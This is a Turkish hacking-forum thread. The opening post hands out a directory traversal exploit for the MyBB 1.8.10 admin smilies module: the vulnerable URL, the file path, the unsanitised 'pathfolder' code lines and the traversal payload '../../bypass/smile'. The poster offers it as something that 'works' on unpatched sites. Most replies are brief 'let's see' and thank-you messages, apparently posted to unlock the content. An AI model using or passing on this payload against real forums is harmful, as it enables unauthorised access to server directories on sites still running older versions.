MyBB Dizin Geçiş Açığı 2017

İş görür diye paylaşıyorum. 2017 dir eski değildir
Açığın Adresi:

/mybb_1810/Upload/admin/index.php?module=config-smilies&action=add_multiple

Açığın Dosya Dizini:

/webroot/mybb_1810/Upload/admin/modules/config/smilies.php

Açığın Kodu:

Line 326 $path = $mybb->input['pathfolder'];

Line 327 $dir = @opendir(MYBB_ROOT.$path);
Eğer "pathfolder"a "../../bypass/smile" eklersek, Dizin Geçişi başarılı olacaktır.

Bu açık 1.8.11 de düzeltilmiştir. Bu yüzden alt versiyonlarında bulunması daha muhtemeldir.

 

Bakalım biraderim

 

Bakalım eyvallah

 

bakalım dostum :=

 

Bakalım.

 

bakalım kardesim

 

Bakalim

 

2018'e girdik eski değilmi 2017

 

Sağollasın

 

İş görür diye paylaşıyorum. 2017 dir eski değildir
Açığın Adresi:
***Hidden content cannot be quoted.***

Bakalim

 

Ama boyle bir sey anlamak olmuyor video felan olsaydi

 

Saol

 

Bakalim

 

ewy

 

eyvallah kardeşim , eline sağlık

 

bklm.

 

Bakalim

 

eyw

 

Teşekkür ederim sağolun var olun

 

Bakalim

 

Bakalım

 

eline sağlık

 

bakalım

 

bakalım kardeşim

 

Bakalım eyvallah

 

Lazim

 

bakalım

 

Helal

 

deniyelim

 

thx